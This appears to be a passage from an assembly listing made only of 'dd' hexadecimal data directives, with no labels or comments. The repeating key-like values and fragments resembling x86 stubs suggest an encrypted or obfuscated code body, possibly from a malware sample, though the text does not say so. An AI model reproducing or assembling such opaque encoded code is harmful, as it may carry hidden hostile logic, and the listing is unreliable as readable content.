		dd 3215661Eh, 79E63318h, 3CB7F48Ch, 332402CDh, 64D5AE68h
		dd 0B3316203h, 32156280h, 0DA750622h, 32156605h, 198C503Ch
		dd 84338479h, 31338F58h, 8B2F31A0h, 0EA654523h,	321C8F1Eh
		dd 65016622h, 3DC5B5B6h, 5310CC74h, 0C8AA6914h,	0F310077Bh
		dd 1B3B7822h, 0F3AA3170h, 1B3B7877h, 35FC39DAh,	36156611h
		dd 0CCDF44D7h, 8B44D566h, 32156626h, 3E9EAE38h,	36D1E7ACh
		dd 3D156644h, 32156FA8h, 0B3E90611h, 0AC5E1D48h, 0C7BE0759h
		dd 0B3F6EF71h, 321562D2h, 36D6E588h, 0B9317AC3h, 21FC4206h
		dd 0EF156611h, 755EA60Dh, 2438F3AEh, 4E20C0D7h,	75B8BCC8h
		dd 2E9EDCE4h, 0D19C3560h, 3211A5A3h, 0F1966611h, 1609E18Ch
		dd 32048F18h, 0F2776622h, 6381525Fh, 3BF16EDh, 817107ABh
		dd 0B9766411h, 0BB40421Dh, 36D0E76Dh, 0B3156644h, 321562E7h
		dd 1639E111h, 339A69D4h, 0CE156644h, 3214E92Dh,	0CDE96611h
		dd 0B14B42BCh, 0DB756280h, 32156632h, 41B36D99h, 2F1B6694h
		dd 2302E0BFh, 0D5FEDDFh, 0F2AA6971h, 537439D8h,	0B34E3217h
		dd 321562E1h, 36D6E511h, 6E317A0Fh, 32156BADh, 0BDB12222h
		dd 6F4C6DA0h, 0FDE04F4Dh, 0BB1A91D5h, 32156629h, 321560F8h
		dd 27078488h, 0DB995F10h, 0CDEABCDEh, 0AA90A1EDh, 3712815Eh
		dd 3D156644h, 321567A2h, 64459F11h, 0F8316209h,	6A02C168h
		dd 9539AC0Fh, 6AD6EF06h, 32157761h, 0E2EA3644h,	53C4B0B9h
		dd 0EFB535A7h, 0F345A89Fh, 6545A698h, 3215629Dh, 6DEDEF11h
		dd 524DA589h, 3DA98BC4h, 3D749895h, 3215749Ah, 3E966988h
		dd 0DB156644h, 32156625h, 0E28E3C75h, 626C23AFh, 4739DC16h
		dd 0D0945CB3h, 58D05417h
		dd 1316A409h, 0D0C460EBh, 0B31684E3h, 0E00716D3h, 0D2E7E7EEh
		dd 0BB6CB166h, 0C2143CF2h, 524D7E12h, 3217E187h, 0C69F6644h
		dd 3B90ED43h, 3D128623h, 3215670Ah, 0A79E9344h,	35F575ABh
		dd 34916971h, 3D156688h, 321566C3h, 8B440722h, 32156610h
		dd 524CA8A1h, 4903AFC5h, 37FC5716h, 21156611h, 89B64895h
		dd 83A8E525h, 33128607h, 3463E21Eh, 0BB1A6688h,	3215664Eh
		dd 321563CBh, 567BFA11h, 0EA2EEC0Eh, 3255E44Bh,	89756622h
		dd 61C63455h, 32018FE8h, 0C20C6644h, 0CC270F42h, 9EA0AACBh
		dd 1DF23223h, 0AE404DF5h, 8873FAAFh, 53743C01h,	0B41ABCB3h
		dd 32156738h, 3219E32Dh, 0B21A6611h, 3215668Eh,	3215E44Bh
		dd 879C6622h, 35F545CCh, 32156061h, 7AABAF44h, 0B937897Eh
		dd 0D5C3FE8Ch, 2497698Fh, 0DB156644h, 32156633h, 0A26D8621h
		dd 0D93F8D5Bh, 0D35DAF27h, 8DC73FBh, 1651E72Ah,	0B77A5D84h
		dd 1651E767h, 7674772Eh, 16496700h, 1679E784h, 76747748h
		dd 1679E733h, 0B77A5D1Dh, 3AFD06ABh, 0BD156644h, 0B82E4134h
		dd 3D295377h, 32156609h, 0F2AA3E44h, 5370B670h,	3210C1F8h
		dd 0B81A0688h, 32156649h, 321561CAh, 2B2B8F11h,	2F911079h
		dd 0E9E071Fh, 0D39C3706h, 3211A790h, 0F3966688h, 1619E140h
		dd 0B973067Eh, 0D4F5E7C8h, 53100428h, 17A4E383h, 321461C2h
		dd 0B9E06611h, 0BB404294h, 36D0E7A1h, 0B1156622h, 1E9262D4h
		dd 39FC3AACh, 0E0156644h, 379536A5h, 37712555h,	3E9E6CF8h
		dd 0D59C3160h, 3211A1A3h, 0F5946611h, 3215668Ch, 6E315AC3h
		dd 162199D7h, 36D1E54Fh, 53DAECE8h, 374D3214h, 32156626h
		dd 0B511A692h, 3D49428Ch, 32156CCBh, 0B91A0622h, 32156611h
		dd 527407E8h, 3206ED4Bh, 3CFC6622h, 0A2156611h,	0FAB250C2h
		dd 0D09466Ah, 5F2264h, 32018F90h, 5A3D6688h, 0DC9DEEC6h
		dd 46D3080Ch, 55E2F496h, 0BA266723h, 0DB742597h, 0CDEAB34Ah
		dd 22FC9371h, 7156688h,	0C48DB78Bh, 7E508671h, 3139606Dh
		dd 5384E7FFh, 33B8DBC7h, 3D1461C2h, 3211C195h, 321E8F88h
		dd 34966644h, 9B4C899Bh, 448C2D73h, 3D9B6914h, 0DB156644h
		dd 32156628h, 0B04CE044h, 87D68247h, 0AF3E1AFDh, 35F5542Bh
		dd 321A8FE8h, 88FF6688h, 0DC89C648h, 8727B038h,	0C80EB423h
		dd 5398EDC3h, 3D128650h, 321576ADh, 321E8F11h, 692E6688h
		dd 77EB114Eh, 3F93A7F8h, 0F1FCE72Ch, 0B354ED88h, 2052C1ADh
		dd 0B3CC674Bh, 2052C1D0h, 0F1D4E7E1h, 0CB54ED44h, 4DC9A7A3h
		dd 0CB3C2847h, 4DC9D9DFh, 0CB3C2812h, 5443067Dh, 6815D5A8h
		dd 21E50EE9h, 2E9C6644h, 3210DD06h, 0EB3C6611h,	0D0A206D3h
		dd 854607B8h, 2B3D66Dh,	1609EDE9h, 0CE11A20Bh, 0FA249EEEh
		dd 0FA24A713h, 3206EC1Eh, 0BE1A6688h, 32156649h, 32156ECBh
		dd 89E2A011h, 6B3D463h,	2A9769C8h, 3D156622h, 3215749Eh
		dd 32188F88h, 3BD86644h, 36C8417Ah, 6D9EF6D1h, 9959B56Bh
		dd 3214EC4Bh, 60E96622h, 8D428498h, 75452EB1h, 689C5h
		dd 0EDE26464h, 47F89190h, 0C55A4A41h, 0F4FAE79Bh, 337CA541h
		dd 0F09639EBh, 1601E18Ch, 321B8F18h, 36906622h,	570FC139h
		dd 0B0656B83h, 0D484BA04h, 693152DDh, 3211A290h, 35FC6688h
		dd 3D156644h, 0F880EF6Ch, 6EA6B46h, 0F6963FACh,	35976940h
		dd 52156622h, 61E4ED77h, 69E07D2h, 0D19C3560h, 3211A5A3h
		dd 0F1946611h, 3215668Ch, 6E317AC3h, 0FAAA6942h, 0BB4707E9h
		dd 36D7E76Ah, 62156644h, 3215629Ah, 6AD76711h, 6E31720Fh
		dd 0C6DAE724h, 5468E502h, 0DB74B99Ah, 0CDEAB02Ch, 0AA90A1B8h
		dd 301281F4h, 0CE156611h, 324F97E0h, 1621EF44h,	0B63152A3h
		dd 69096776h, 55919509h, 54757A45h, 0B01AB1A9h,	32156612h
		dd 53C0B908h, 521BD04Bh, 0B2743B95h, 0B11AE6E8h, 321566D6h
		dd 5411D524h, 7DCEB0A3h, 0FEFEE770h, 334C01B4h,	0FEAF348Fh
		dd 334C011Eh, 0CAE03CC2h, 3214D8DEh, 0C1146644h, 3E9C697Ch
		dd 0DB156611h, 3215668Fh, 8659FBCAh, 0DB9E56DFh, 321566B9h
		dd 3209E987h, 0B71A6644h, 32156634h, 321577F8h,	60E27188h
		dd 0E47DD24h, 0C3D84667h, 922BB8D3h, 8447A196h,	0B9E44EBBh
		dd 0F6964236h, 8C439E15h, 32156688h, 0A7A88C5h,	0FC3C77F1h
		dd 0A7AA090h, 0C39C775Bh, 8A459A1Ah, 218F4A33h,	74C4DB44h
		dd 0DA247A20h, 1EF64319h, 0B0100769h, 1F75D97Eh, 53D4F1CBh
		dd 3D4DA765h, 321563AAh, 76A30611h, 0D9940771h,	309C17CDh
		dd 6BA5A3h, 0F93C04C1h,	6B8D09h, 0F1940494h, 309C17ABh
		dd 8C733771h, 0B24FBF3Ch, 0DB741597h, 3215662Eh, 9D579068h
		dd 5871349Bh, 0A45F1681h, 1CE3A9h, 0B9E061F1h, 0D206EF1Dh
		dd 1DFC9343h, 0CAEA99D9h, 0AA90A1E8h, 3012815Eh, 52156644h
		dd 0E03CE29Bh, 2893696Dh, 0DA156688h, 32156650h, 6E0C5562h
		dd 0F370BE5Fh, 0A6FA1817h, 0FC9356E6h, 0F18686B3h, 3BFC074Eh
		dd 0F0156688h, 0E9D0F157h, 0E146D1BFh, 1609ED47h, 3211A209h
		dd 0B51A6644h, 32156625h, 3214E81Eh, 3DEC6688h,	0DB7568F2h
		dd 32156630h, 0C00C9763h, 8C61498Ch, 38324989h,	0EB2886B9h
		dd 6175F928h, 537493D6h, 3D959FC4h, 32154AA1h, 0D9949A11h
		dd 421B1D98h, 8D42AD45h, 421B1D32h, 0CE4A9D10h,	0DC94950Fh
		dd 0CDEA99BBh, 547595A5h, 0C395B79Ah, 0BCFC07D7h, 0CE156644h
		dd 30F9E5DAh, 1609EF77h, 0CB3D993Fh, 0BC1A3D22h, 3215662Ah
		dd 0F49E0071h, 53EBD987h, 0DB96B7B3h, 321C8FDDh, 3C466611h
		dd 83679B26h, 67E59974h, 0FC2CAD9Fh, 3AF8E70Fh,	0C53383F2h
		dd 0C8D8E799h, 0B368180Eh, 4D7966FCh, 0B9FC47F5h, 0F6964268h
		dd 0EC940626h, 4CC0F8C7h, 3217E387h, 0C09E6644h, 32058F43h
		dd 76806611h, 881CB95Bh, 0A6BA2BEDh, 1FE031C0h,	0D994F8E7h
		dd 579A262Ah, 8C43AD6Dh, 579A2680h, 524B9510h, 7BA1BE02h
		dd 3B90ED25h, 0CA128610h, 219CF39Ah, 0CBE96168h, 33B8DBC7h
		dd 3D1461C2h, 0CDE2EA95h, 0B01A9A77h, 32156645h, 3DCD5DDAh
		dd 32152693h, 0B9730688h, 0B3730693h, 0DBE020D2h, 32156614h
		dd 2379F209h, 3D740720h, 321561A9h, 0C6950611h,	534D3740h
		dd 0B41AB57Dh, 0CDEA8B92h, 321569F8h, 0E1C9DC88h, 0BEDF8E73h
		dd 0EB5BB9C0h, 6FE24EA5h, 3EEA3074h, 1621ED60h,	3211A2A3h
		dd 0DBED6611h, 3215669Ch, 0AC9BF62h, 0C9F12157h, 61A13C7Eh
		dd 1602A5B6h, 8B2866C5h, 0C09C3471h, 0BB4FB598h, 3D753D51h
		dd 321563C4h, 19CEDD22h, 96AB0710h, 5356E2A3h, 545D913h
		dd 0EDE235D7h, 33D28190h, 0B352670Ch, 3A7062B3h, 6DEC4F1Fh
		dd 0F3949F38h, 0F1D030Dh, 37AD36B1h, 0B3156622h, 3F289BD0h
		dd 0B3D44FC3h, 3F289BADh, 60E03E69h, 8146FAA7h,	0C4FEE6F6h
		dd 0D1958594h, 6FE6E630h, 0BA4EB811h, 0DA753C78h, 32156657h
		dd 0EE1E48D7h, 0BD7B8FE3h, 1B94B953h, 9ABF276Dh, 0B3D8C74Dh
		dd 614C53C3h, 0DA463DDCh, 32156656h, 1FF0F3B0h,	11F2937h
		dd 6F6EEEC3h, 0EBDB77Bh, 6C4C21D9h, 0DBBF9F70h,	32156684h
		dd 0FE12510h, 0BEDC5927h, 29B8403Ah, 0F324AEB9h, 99E0AE75h
		dd 3D4C3742h, 3215659Fh, 0C9A26988h, 321D8F25h,	0C9926622h
		dd 0A3933BF1h, 0F3FCE3E0h, 3DEA9996h, 321567ADh, 88479311h
		dd 32156688h, 8B449445h, 32156622h, 339FB710h, 0BF1A3CD1h
		dd 3215665Dh, 32048E42h, 0A01F6611h, 19EDB974h,	0F2A2F2A6h
		dd 76A21EAFh, 686ACD64h
		dd 3DFD5AE9h, 321528C0h, 0DE969E22h, 1619EF15h,	6A427831h
		dd 0E3E4E761h, 0F356112Dh, 0DB9463F8h, 6052BC7h, 3B7097C5h
		dd 0FB9454D6h, 784929CEh, 5DCA8F09h, 0FA9C9999h, 8873067Bh
		dd 53E0FFD2h, 3214D861h, 32188F44h, 7C206622h, 0F6A75746h
		dd 0F20A3C38h, 5AD9DF21h, 32153F39h, 0DB317A98h, 32156680h
		dd 488E52D7h, 0A35D3F3Eh, 3239FC79h, 1621EF88h,	32068F1Fh
		dd 6BAD6622h, 58BB83ADh, 0E4ABC97Fh, 645D0E7Ah,	61524A3h
		dd 33AD3667h, 37156688h, 4AEF2D3Ah, 4C389623h, 316D9C5Ah
		dd 63E03E90h, 5544DE14h, 66AC2970h, 35A3476h, 0F9143E49h
		dd 239E691Dh, 52156622h, 32156EF8h, 0CF20E788h,	0B47D5A03h
		dd 53CAED94h, 60FDD542h, 0C29DB800h, 54753D1Eh,	3837BCA3h
		dd 0A0CBDD77h, 0BC1ACCE9h, 32156648h, 3213E82Dh, 0B31A6611h
		dd 32156688h, 3D0EA5C5h, 0D99469BFh, 6D60731Bh,	0F1949DA1h
		dd 6D60734Eh, 3D0E8DA3h, 0B375698Ch, 9ACB1C43h,	8D42077Fh
		dd 32156626h, 0E9E9D38h, 36D1E5ACh, 320AE14Bh, 54756622h
		dd 0DAF6E2A8h, 3215669Bh, 90E92179h, 0E50BD66Ah, 0FF9685DEh
		dd 0B517492Ah, 69A4B4C4h, 3CD5743h, 3DCD57D2h, 32156102h
		dd 53750644h, 53C4D92Dh, 2A9769BAh, 52156688h, 0DB98AFC4h
		dd 3215662Ch, 0C94434DFh, 0E9428ED2h, 5357CE83h, 0CD746F23h
		dd 0B34E4225h, 3215624Ch, 67479344h, 99225B9Fh,	37F0A732h
		dd 0D58E8B09h, 0D89C1322h, 68C3677Fh, 79C8E671h, 0C19400DBh
		dd 534DCB80h, 0BB118AA1h, 7A7D420Dh, 6967BBA7h,	0D194BDB3h
		dd 94F2031h, 0B31685D0h, 0DFEAE74Bh, 69CDEFF3h,	21FC0642h
		dd 9C156611h, 0F3954A15h, 7585CA28h, 97544CBBh,	348E8618h
		dd 0B373F409h, 5313CEA7h, 0F1CFE744h, 89750754h, 9E8CD93h
		dd 32156FADh, 700AAA22h, 96720CEFh, 0F1746F08h,	32078F24h
		dd 0A33E6622h, 78F22FCAh, 0F88706FBh, 0B347B80Ah, 0D903CD04h
		dd 53178691h, 322396E0h, 1619EF44h, 3219E92Dh, 35FC6611h
		dd 0D3156688h, 0B2004067h, 0CD738572h, 1E940027h, 542F73ACh
		dd 5447001Ch, 542F7398h, 6873B610h, 32156861h, 0E8AB2D44h
		dd 6C93262Eh, 6615C455h, 3D07B032h, 32157FC7h, 21986922h
		dd 0DB156611h, 32156686h, 27AB6A5Ch, 0C6D6F3AAh, 0EB71B1ACh
		dd 0F129A27Ah, 3391E24Bh, 54756622h, 0D621A690h, 5309A108h
		dd 0B61AAD78h, 32156750h, 5C48DE71h, 0E745BF8h,	0FA916986h
		dd 3D156623h, 32157594h, 34FC0688h, 0DE156644h,	231E6FBCh
		dd 0AED3E718h, 536CBB0Bh, 0B61AAC78h, 32156785h, 3218E81Eh
		dd 3AFC6688h, 0A2156644h, 8AFD646h, 5495C39Fh, 3D3099B5h
		dd 3214D4C0h, 8B730622h, 21FDBDC1h, 55156688h, 447684ECh
		dd 834D8554h, 4A62D28Fh, 0BF086629h, 21FD05B7h,	76156622h
		dd 2F9655D3h, 8E8D0156h, 24A5D67Eh, 0FB5D4730h,	6B4CB9A6h
		dd 1C2800E9h, 649069BBh, 3D156622h, 32156791h, 88479F88h
		dd 32156646h, 309F9423h, 0B331729Ah, 3215624Ch,	0C0950644h
		dd 379469FCh, 54156611h, 7CF2A809h, 4EA90E25h, 269C6622h
		dd 0B235D435h, 0E2355662h, 0B973061Eh, 5AAE00FBh, 9229078Dh
		dd 337AE287h, 0B21A6644h, 32156627h, 0C74D3571h, 1619EDE9h
		dd 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh,	3200EC4Bh
		dd 22FC6622h, 3E156611h, 1D76F72Bh, 5159B459h, 0B579C41Ah
		dd 67DD6DCBh, 0CC10A135h, 0F5F8E775h, 63249827h, 0FA9C8F98h
		dd 0DBE93BD1h, 32156655h, 6A1CABEAh, 0F211BB36h, 0D14AED18h
		dd 1D072A97h, 33A38FD0h, 0DB756611h, 3215669Ah,	0C1D4970Eh
		dd 76FBD8D5h, 2A0BAD23h, 0A26A0103h, 0F4956274h, 0B71A0787h
		dd 3215661Fh, 329169E8h, 0B3156644h, 0BBFB93F5h, 0FB240721h
		dd 32156161h, 760BB944h, 0AD21C1C0h, 32156DF8h,	4414C288h
		dd 0C802CF50h, 67A6E02Dh, 4FD4D847h, 0FC9424CCh, 41195917h
		dd 0E4E2B8D5h, 0F49488C0h, 0F44CA69Eh, 0CE4B976Dh, 3215D5CBh
		dd 88730611h, 26FDC73Bh, 87156644h, 0F47FA1DFh,	9AAD61D9h
		dd 557E22E5h, 9B0822DBh, 0B34C656Ch, 514142D3h,	64743FB5h
		dd 321565FAh, 6C4C3022h, 321572F8h, 89B52788h, 9CA7E5D6h
		dd 65C2B01Bh, 0A37AFE81h, 6786149Fh, 32738FF0h,	67ED6622h
		dd 84113EACh, 32AB30CAh, 1B156644h, 6CE0E1CCh, 4AE0E75Ch
		dd 0B322CB8Ah, 86556AA1h, 0F7942301h, 0CF4ED9E8h, 52488F01h
		dd 3EFC36BDh, 27156622h, 2CF89566h, 0D363B2C2h,	6BA425FBh
		dd 32378F43h, 0B71A6611h, 32156689h, 627D30BDh,	6C4B5F2Fh
		dd 8A45B8E6h, 7F982B15h, 66552069h, 6AD367CDh, 0CE4B9798h
		dd 6275C27Bh, 6C46371Bh, 0BF9E077Bh, 35F57598h,	319D69E8h
		dd 54156644h, 0B7749EA9h, 219069D8h, 0DB156688h, 32156643h
		dd 86F245D2h, 0BBC88A7Fh, 0D206EF3Dh, 6EA9343h,	0F6963F06h
		dd 8C730615h, 5A74A54Ch, 32156645h, 0B13162A9h,	547562D5h
		dd 2ACB9109h, 321561ACh, 0EB0E2122h, 0D8D21B2Eh, 32156F60h
		dd 0D596BB44h, 5ED9E576h, 694B9F18h, 2F9669E9h,	3D156644h
		dd 321571AAh, 32078F11h, 3556688h, 8999DFE1h, 1F3B99CCh
		dd 0FC765C70h, 32274CCh, 0CD739A87h, 6940014h, 5461D635h
		dd 0B1316203h, 7736480h, 0B41A1292h, 32156616h,	0D1FBE6E8h
		dd 0E7496CFh, 8F9169E1h, 3D156610h, 3215760Eh, 389B6944h
		dd 0DB156622h, 32156614h, 67C11903h, 0BA46340Bh, 69CFEEE1h
		dd 3D4FB599h, 3215730Dh, 32058F44h, 228F6622h, 1D4B9543h
		dd 87CE7BA6h, 0E6A99425h, 87446A32h, 37F0A613h,	0B22F9308h
		dd 0E7E3E6B1h, 0C795A3DCh, 6BFE46E7h, 3219ED87h, 0BD1A6644h
		dd 32156624h, 3215E31Eh, 0C9956688h, 9C916934h,	3D156621h
		dd 32157F9Fh, 22FC0688h, 4B156644h, 0C6047A90h,	82C0920Ah
		dd 5483A84Dh, 0B977338Dh, 0DB2907ECh, 333FE21Eh, 3D756688h
		dd 321566C4h, 0E749F22h, 2B9169FAh, 0CA156689h,	4C98DE24h
		dd 0DD9418A2h, 3D5B37CFh, 3DD75AE9h, 321465C0h,	0F3940622h
		dd 259E13E4h, 8FEC7030h, 20FC0758h, 5156622h, 6C9708C3h
		dd 33F017A0h, 52BFAFE1h, 0C263E381h, 3DDE5A56h,	3215B10Ch
		dd 851A0644h, 0F29400D5h, 5474662Fh, 3D3099B5h,	3215A5C0h
		dd 399B6922h, 0DB156611h, 3215668Eh, 0E55ACFD8h, 0F82935E4h
		dd 32BFE21Eh, 0B2756688h, 3AFC30ADh, 1D156622h,	0E06FEFECh
		dd 5362019Bh, 0B61A8578h, 321564CFh, 32156DF8h,	0F1EADF88h
		dd 12E49DE2h, 0F9286CDBh, 0CD3B5B77h, 3254E387h, 63ED6644h
		dd 3215649Bh, 0B8E46711h, 1619ED89h, 3211A2C5h,	54EC6622h
		dd 0F5A03743h, 0D83DD13Ah, 54C5461Dh, 32058F78h, 197C6611h
		dd 0A5D9BAA5h, 0CA36D510h, 0E9562F8Dh, 92299F72h, 3223E287h
		dd 60ED6644h, 4D761498h, 0C5CF9159h, 30F7A75Ah,	0C094BCB3h
		dd 5A80162Fh, 3024DB44h, 0D824D01Fh, 68C5EF19h,	30936942h
		dd 52156611h, 0F2AC00E9h, 92FC072Bh, 0CA156622h, 219CD398h
		dd 26FC6168h, 63156644h, 1BCE571Ch, 0F8007622h,	4852BD5Fh
		dd 38E044A4h, 0BF7AB0E3h, 0D489EB8Ch, 8C73068Fh, 35FC60D7h
		dd 0C8156622h, 2ADC75CDh, 3D7447C4h, 32157EC6h,	32068F22h
		dd 0F8336611h, 953B3F12h, 3ADF1A34h, 0BD4C1B13h, 7A763A0Dh
		dd 0DBC699C3h, 32156655h, 813C3D52h, 5FEE94F7h,	0C4A65F4Dh
		dd 86DA3490h, 32140E14h, 369E6611h, 36D1E7ACh, 3D156644h
		dd 321578A7h, 26FD0611h
		dd 1B156688h, 609C638Bh, 0C997EB70h, 3DFAD94Ch,	814DE3ADh
		dd 681762A3h, 0F1743C71h, 3219ED1Eh, 0BF1A6688h, 32156642h
		dd 3215E52Dh, 0BB446611h, 36D4E769h, 0B3156644h, 321562CBh
		dd 1619E111h, 1611EFD4h, 3205ED4Bh, 39FC6622h, 62156611h
		dd 0F35B5101h, 719F6076h, 8B443DB0h, 32156601h,	3EA9789h
		dd 0BBED3F1Ch, 0D23A37A7h, 33906916h, 0CA156688h, 6A3152BBh
		dd 0CB11A2A1h, 3209DB44h, 0DC146688h, 0B1314ACFh, 3BFC62E6h
		dd 13156611h, 342445B2h, 6781FE8Bh, 2750DBAFh, 0B21A61F1h
		dd 32156683h, 32966924h, 3D156622h, 9F74A0AEh, 31B66371h
		dd 76161CDAh, 8D424206h, 488B65B2h, 0CB4A9EA1h,	3206EF4Bh
		dd 0B91A6622h, 3215661Ch, 32156E61h, 60C60F44h,	0D813F406h
		dd 0B375CDFFh, 88EE9163h, 321B8E03h, 0DF7D6622h, 0F7EACDE4h
		dd 638DA43Bh, 2E195025h, 2A037D9Bh, 0BF743908h,	0D2071F35h
		dd 0C7B89E43h, 0AC66AA27h, 16516554h, 0FEA833ACh, 1B50F837h
		dd 54753BCAh, 851ABF9Ah, 0BB440752h, 36D4E7A5h,	0B3156622h
		dd 321562F8h, 1619E188h, 1611EF18h, 35FCCDD7h, 5156611h
		dd 747BC869h, 8F983401h, 35F54043h, 3AFCCBEDh, 24156688h
		dd 3FDA4747h, 1F42DE4Eh, 6ACA248Ah, 1A31228Bh, 73B6DC16h
		dd 785758E5h, 312D9490h, 0E2140090h, 0DBBE9F1Eh, 32156636h
		dd 9BF8B226h, 71C44E36h, 0ABA4727h, 4184F5ECh, 9386B860h
		dd 64315203h, 0F49480CDh, 32156626h, 3211A090h,	6926688h
		dd 0DBE93A60h, 32156636h, 6AA1AA2h, 5378B99Fh, 7F694FBEh
		dd 73EF2FC6h, 2B92E704h, 32068F4Bh, 0F276644h, 4DD35D41h
		dd 94F3F9E8h, 45AB3868h, 545F8616h, 0D29C3657h,	32156214h
		dd 32114B88h, 36926644h, 69C3A06h, 39986935h, 0DB156688h
		dd 32156642h, 2BD3DB7Fh, 0AF98BDF8h, 35F3FD44h,	321574ADh
		dd 4B7EF022h, 0C0868713h, 603360AEh, 0AE41447Dh, 0CD9EAB60h
		dd 39FC06C2h, 0F2156688h, 6A6C9796h, 2DC0EBD5h,	0B31ACFC4h
		dd 3215668Eh, 3215E54Bh, 0DB746622h, 0CDEA9B16h, 0CBA269E8h
		dd 321569ADh, 46B9B622h, 0F8364374h, 0F74137FDh, 61C11BFEh
		dd 0CEDFFC61h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A21C97C0h
		dd 0A8ED96A5h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 426D849Dh
		dd 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
		dd 0C88260D5h, 0B3399638h, 0DF07462Dh, 534FC32Ch, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0D4598FA7h,	0D9FB5645h
		dd 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 8B32DCAAh, 168DF2BBh, 0C626CB2Fh, 967512CDh,	0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 16EB00h
		dd 4 dup(0)
		dd 1000000h, 3B401h, 6A07E700h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah
		dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0E1C35343h,	8BA33EB3h, 0B31E37B9h
		dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h
		dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h
		dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h
		dd 509118B9h, 9E8h, 0E8175700h,	14F799AAh, 0F305E983h
		dd 3CB8BA4h, 56EABFDBh,	0F7FD5032h, 465C0082h, 77892BCh
		dd 0DD7ED256h, 56BF4DDEh, 0CABB132h, 984E5BB3h,	0DAE5B6D4h
		dd 5675B125h, 56BAA3DBh, 9135A232h, 83C7FF9Dh, 0A4F305E9h
		dd 9D11F1B0h, 75FD7AF2h, 0D317FB23h, 25FA9D7Ch,	0FDF53FD5h
		dd 9242EBADh, 0B7342290h, 23AC7ACFh, 20AD29B7h,	75FD7A1Ah
		dd 987C2779h, 721ABA7Bh, 0CAE5FFA0h, 0F305E983h, 8DDB8BA4h
		dd 0E7D69CBDh, 0F28D8D07h, 0B807E860h, 32156644h, 0E9C1CF2Bh
		dd 0D0073102h, 4C783C8h, 60F67549h, 0F606061h, 8Eh, 0F6816600h
		dd 81610929h, 86B9ADCEh, 81506129h, 7262404h, 565870BCh
		dd 0BC0726BEh, 5EF02970h, 0B1BD83F5h, 7E006h, 0BD830975h
		dd 7E001C5h, 50197400h,	0B8C08B53h, 411h, 23998589h, 9D8D07E0h
		dd 7E2BCC9h, 585BD3FFh,	1C5BD83h, 740007E0h, 0B8535017h
		dd 411h, 23998589h, 9D8D07E0h, 7E2B96Ah, 585BD3FFh, 78B0Fh
		dd 850F0000h, 1, 66F860F8h, 618F7AB9h, 76BE5650h, 1436F12h
		dd 5E042474h, 12762D58h, 8B60436Fh, 0C7EE81C8h,	610B680Eh
		dd 0BC8D8DF8h, 5607E864h, 219589h, 895F07E0h, 0E018158Dh
		dd 65B52907h, 0C707E026h, 0E0204985h, 6A0C07h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 28E3C667h, 49DEA71Ch, 6810F2Ch, 8B000000h, 0E01B9195h
		dd 81952907h, 0C707E000h, 0E022C585h, 7, 819D8900h, 0FF07E013h
		dd 0E006D5B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0B49E75Eh, 21C780F5h
		dd 209195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 6B6C06C3h, 0E519CA6Fh, 0F280B479h
		dd 0FF006A32h, 0E018A995h, 0EBC08B07h, 0B5C90669h, 0AD340D87h
		dd 40F4E831h, 993B2CDEh, 60319586h, 803960A0h, 0F90A9D94h
		dd 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh, 9DC1F3ABh
		dd 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h, 1E7EECC1h
		dd 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h,	0CCB965C0h
		dd 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 600BB2CEh, 5E822FAh
		dd 0D1000000h, 6B760E8Bh, 805FD78Bh, 0C781DDE5h, 5A88h
		dd 0A371E181h, 68473Ah,	60000000h, 0CE9h, 0F87C1E00h, 0CD5C865Eh
		dd 290DBA75h, 0CFBF0F4Dh, 0BF0F5E61h, 37048BDBh, 0C081DE8Bh
		dd 13EDA05Bh, 0E15958Bh, 0C08107E0h, 3D22ED87h,	0E881C88Bh
		dd 464B2D43h, 50DFDD80h, 341428BBh, 37048F68h, 7E9h, 498F2C00h
		dd 0DDB15E3h, 83F7DB80h, 0FE8104EEh, 0FFFFA624h, 1F850Fh
		dd 8D310000h, 7E03105h,	26E9h, 0A3E04100h, 7A370505h, 0FCFCE970h
		dd 0CB049E01h, 628B5578h, 0D1B529E5h, 0E907E006h, 0FFFFFF8Dh
		dd 5E89394Bh, 0E8C37765h, 11h, 0D23C3199h, 0C6B08035h
		dd 0F92816D6h, 8F4296C2h, 830F5A0Fh, 4,	0B9A7BB66h, 6C0FC281h
		dd 9D8B0000h, 7E012E5h,	0BB6C31B9h, 0FDF18168h,	0B468BB76h
		dd 8B3A8BAAh, 0E01A2985h, 6BC78107h, 5700B912h,	0BE8h
		dd 21F04000h, 2948013Eh, 0A588C572h, 8F0Fh, 5E580000h
		dd 0E973EF81h, 858B14F0h, 7E02F55h, 8133C781h, 8E9423Dh
		dd 0FD000000h, 749BFE55h, 5793B41Ah, 31999589h,	28F07E0h
